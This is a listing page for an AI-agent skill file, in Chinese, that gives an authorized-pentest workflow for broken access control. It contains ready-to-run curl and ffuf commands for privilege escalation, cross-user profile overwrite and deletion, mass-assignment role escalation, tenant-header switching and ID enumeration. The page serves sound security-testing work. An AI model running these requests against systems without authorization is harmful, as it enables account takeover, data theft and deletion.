testing-for-broken-access-control
系统性测试 Web 应用程序中的访问控制缺陷,包括权限提升、缺失的功能级检查以及不安全的直接对象引用。
Best use case
testing-for-broken-access-control is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
系统性测试 Web 应用程序中的访问控制缺陷,包括权限提升、缺失的功能级检查以及不安全的直接对象引用。
Teams using testing-for-broken-access-control should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/testing-for-broken-access-control/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How testing-for-broken-access-control Compares
| Feature / Agent | testing-for-broken-access-control | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
系统性测试 Web 应用程序中的访问控制缺陷,包括权限提升、缺失的功能级检查以及不安全的直接对象引用。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 测试访问控制缺陷(Testing for Broken Access Control)
## 适用场景
- 在授权渗透测试中,作为 OWASP A01:2021 - 访问控制缺陷的主要评估项目时
- 评估所有应用端点上基于角色的访问控制(RBAC)实现时
- 测试多租户应用中不同组织的用户隔离时
- 评估 API 端点上缺失或不一致的授权检查时
- 在以权限提升和未授权访问为主要关注点的安全审计期间
## 前置条件
- **授权**:针对目标的书面渗透测试协议
- **Burp Suite Professional**:配合 Authorize 扩展进行自动化访问控制测试
- **多个测试账户**:各角色级别的账户(管理员、经理、用户、访客)
- **应用角色矩阵**:记录每个角色应/不应访问的内容
- **curl/httpie**:在不同认证上下文下手工测试端点
- **ffuf**:发现可能缺少访问控制的隐藏端点
## 工作流程
### 步骤 1 — 映射所有端点并创建访问控制矩阵
记录每个端点及各角色的预期访问级别。
```bash
# 从 Burp 站点地图提取所有端点
# Target > Site Map > 右键点击 > Copy URLs in this host
# 构建端点与角色的矩阵:
# | 端点 | 管理员 | 经理 | 用户 | 访客 |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard | 允许 | 拒绝 | 拒绝 | 拒绝 |
# | GET /api/users | 允许 | 允许 | 拒绝 | 拒绝 |
# | PUT /api/users/{id} | 允许 | 拒绝 | 仅自己 | 拒绝 |
# | DELETE /api/posts/{id} | 允许 | 允许 | 仅自己 | 拒绝 |
# 发现隐藏端点
ffuf -u "https://target.example.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN" \
-o endpoints.json -of json
# API 端点发现
ffuf -u "https://target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN"
```
### 步骤 2 — 配置自动化访问控制测试
设置 Burp Authorize 扩展进行并行的角色测试。
```
# 安装 Authorize 扩展:
# Burp > Extender > BApp Store > 搜索 "Authorize" > 安装
# 三层测试配置:
# 1. 以管理员身份浏览应用(捕获所有请求)
# 2. 在 Authorize 标签页中:
# a. 在 "Replace cookies/headers" 中添加普通用户的 session token
# b. 可选:添加第二行表示未认证状态(无认证头部)
# 示例头部替换配置:
# 第一行(低权限用户):
# Cookie: session=low_priv_user_session
# Authorization: Bearer low_priv_token
#
# 第二行(未认证):
# [留空 — 移除所有认证头部]
# 在 Authorize 中启用拦截:
# - 勾选 "Intercept requests from Proxy"
# - 勾选 "Intercept requests from Repeater"
# Authorize 结果说明:
# 绿色 = 已正确限制(不同用户响应不同)
# 红色 = 潜在漏洞(无论角色响应相同)
# 橙色 = 不确定(需要手工验证)
```
### 步骤 3 — 测试垂直权限提升
使用低权限账户尝试访问高权限功能。
```bash
# 收集各角色的 token
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"
# 使用用户 token 测试管理端点
ADMIN_ENDPOINTS=(
"GET /admin/dashboard"
"GET /admin/users"
"POST /admin/users/create"
"PUT /admin/settings"
"DELETE /admin/users/5"
"GET /admin/logs"
"GET /admin/reports/export"
"POST /admin/backup"
)
for entry in "${ADMIN_ENDPOINTS[@]}"; do
method=$(echo "$entry" | cut -d' ' -f1)
endpoint=$(echo "$entry" | cut -d' ' -f2)
echo -n "$method $endpoint(以用户身份):"
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
"https://target.example.com$endpoint")
if [ "$status" == "200" ] || [ "$status" == "201" ]; then
echo "存在漏洞($status)"
else
echo "正常($status)"
fi
done
# 测试 HTTP 方法覆盖头部
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: $USER_TOKEN" \
-H "X-HTTP-Method-Override: DELETE" \
"https://target.example.com/admin/users/5"
# 测试不同 HTTP 方法
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method /admin/users:"
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
"https://target.example.com/admin/users"
echo
done
```
### 步骤 4 — 测试水平权限提升
验证同一权限级别的用户无法访问其他用户的资源。
```bash
# 用户 A(ID: 101)测试对用户 B(ID: 102)资源的访问
USER_A_TOKEN="Bearer user_a_jwt"
RESOURCES=(
"/api/users/102/profile"
"/api/users/102/orders"
"/api/users/102/messages"
"/api/users/102/documents"
"/api/users/102/settings"
"/api/users/102/payment-methods"
)
for resource in "${RESOURCES[@]}"; do
echo -n "GET $resource:"
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com$resource")
status=$(echo "$response" | tail -1)
body_len=$(echo "$response" | head -n -1 | wc -c)
if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
echo "存在漏洞($status,$body_len 字节)"
else
echo "正常($status)"
fi
done
# 测试跨用户写入操作
curl -s -X PUT \
-H "Authorization: $USER_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked","email":"hacked@evil.com"}' \
"https://target.example.com/api/users/102/profile" -w "%{http_code}"
# 测试删除操作
curl -s -X DELETE \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
```
### 步骤 5 — 测试功能级访问控制
验证特定功能是否正确执行授权检查。
```bash
# 测试对受保护端点的未认证访问
PROTECTED_ENDPOINTS=(
"/api/user/profile"
"/api/transactions"
"/api/settings"
"/admin/dashboard"
"/api/export/users"
)
for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
echo -n "无认证:GET $endpoint:"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com$endpoint"
echo
done
# 测试过期/无效 token
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer invalid_token_here" \
"https://target.example.com/api/user/profile"
# 测试 JWT claims 中的角色操控
# 若 JWT 包含 role claim,尝试修改(需结合 JWT 漏洞测试)
# 测试通过参数进行角色提升
curl -s -X PUT \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
"https://target.example.com/api/users/101/profile"
# 测试注册时携带提升的角色
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
"https://target.example.com/api/auth/register"
```
### 步骤 6 — 测试多租户隔离
验证多租户应用中租户边界是否得到强制执行。
```bash
# 租户 A 的用户测试对租户 B 资源的访问
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"
# 直接租户资源访问
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/users" | jq .
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/settings" | jq .
# 通过头部切换租户
curl -s -H "Authorization: $TENANT_A_TOKEN" \
-H "X-Tenant-ID: tenant-b-id" \
"https://target.example.com/api/users" | jq .
# 在请求体中传递租户 ID
curl -s -X POST \
-H "Authorization: $TENANT_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
"https://target.example.com/api/reports/custom"
# 枚举租户 ID
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
-w <(seq 1 100) \
-H "Authorization: $TENANT_A_TOKEN" \
-mc 200 -t 10 -rate 20
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| **垂直权限提升(Vertical Privilege Escalation)** | 低权限用户访问高权限功能(用户 -> 管理员) |
| **水平权限提升(Horizontal Privilege Escalation)** | 同权限级别的用户访问其他用户的资源 |
| **功能级访问控制(Function-Level Access Control)** | 无论 URL 如何,对特定功能/特性的授权检查 |
| **RBAC** | 基于角色的访问控制 — 权限分配给角色,角色分配给用户 |
| **ABAC** | 基于属性的访问控制 — 基于用户/资源/环境属性的权限控制 |
| **多租户隔离(Multi-Tenant Isolation)** | 确保不同组织/租户之间的数据和功能隔离 |
| **不安全的直接对象引用(Insecure Direct Object Reference)** | 通过操控标识符访问对象而无授权检查 |
| **缺失的功能级检查(Missing Function-Level Check)** | 端点存在但未验证调用方是否有权限调用 |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | 请求拦截和基于角色的测试 |
| **Authorize(Burp 扩展)** | 跨会话自动化访问控制测试 |
| **AutoRepeater(Burp 扩展)** | 在不同认证上下文下自动重放请求 |
| **Postman** | API 测试,在不同角色环境之间切换 |
| **ffuf** | 发现可能缺少访问控制的隐藏端点 |
| **OWASP ZAP** | 上下文感知扫描的访问控制测试 |
## 常见场景
### 场景 1:管理后台无认证检查
`/admin/dashboard` 端点在使用普通用户 session token 访问时返回管理后台。前端隐藏了管理菜单,但后端未执行角色检查。
### 场景 2:API 端点缺少授权
`DELETE /api/users/{id}` 端点检查了认证(有效 token)但未检查授权(管理员角色)。任何已认证用户都可以删除其他用户的账户。
### 场景 3:租户数据泄漏
SaaS 应用在 API 请求头部中使用 `tenant_id`。将 `X-Tenant-ID` 头部改为另一个租户的 ID 即可返回其数据,绕过租户隔离。
### 场景 4:批量赋值角色提升
`PUT /api/users/{id}` 的用户资料更新端点接受 JSON 体中的 `role` 字段。在资料更新请求中提交 `"role":"admin"` 即可将用户提权至管理员。
## 输出格式
```
## 访问控制缺陷评估报告
**目标**:target.example.com
**评估日期**:2024-01-15
**OWASP 类别**:A01:2021 - 访问控制缺陷
### 访问控制矩阵结果
| 端点 | 管理员 | 经理 | 用户 | 访客 | 预期 | 实际 |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | 仅管理员 | 失败 |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | 仅管理员 | 失败 |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | 仅本人 | 失败 |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | 仅本人 | 失败 |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | 同租户 | 失败 |
### 严重发现
1. **垂直提升**:普通用户可访问 /admin/* 端点
2. **水平 IDOR**:用户可读取/修改其他用户的资料
3. **租户隔离**:通过头部操控实现跨租户数据访问
4. **批量赋值**:通过资料更新端点实现角色提升
### 影响
- 任意已认证用户均可获得完整管理员访问权限
- 可访问所有账户的完整用户数据(15,000+ 用户)
- 影响 200+ 组织的跨租户数据泄露
- 通过资料修改实现账户接管
### 建议
1. 在每个端点实施服务端授权检查
2. 使用集中化授权中间件/框架
3. 强制对象级授权(访问前验证所有权)
4. 在服务端验证租户上下文,切勿信任客户端头部
5. 对批量赋值使用白名单(只允许预期字段)
6. 实施对所有访问控制决策的审计日志记录
```Related Skills
testing-websocket-api-security
测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。
testing-oauth2-implementation-flaws
测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。
testing-mobile-api-authentication
测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。
testing-jwt-token-security
在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-sensitive-data-exposure
在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-host-header-injection
测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。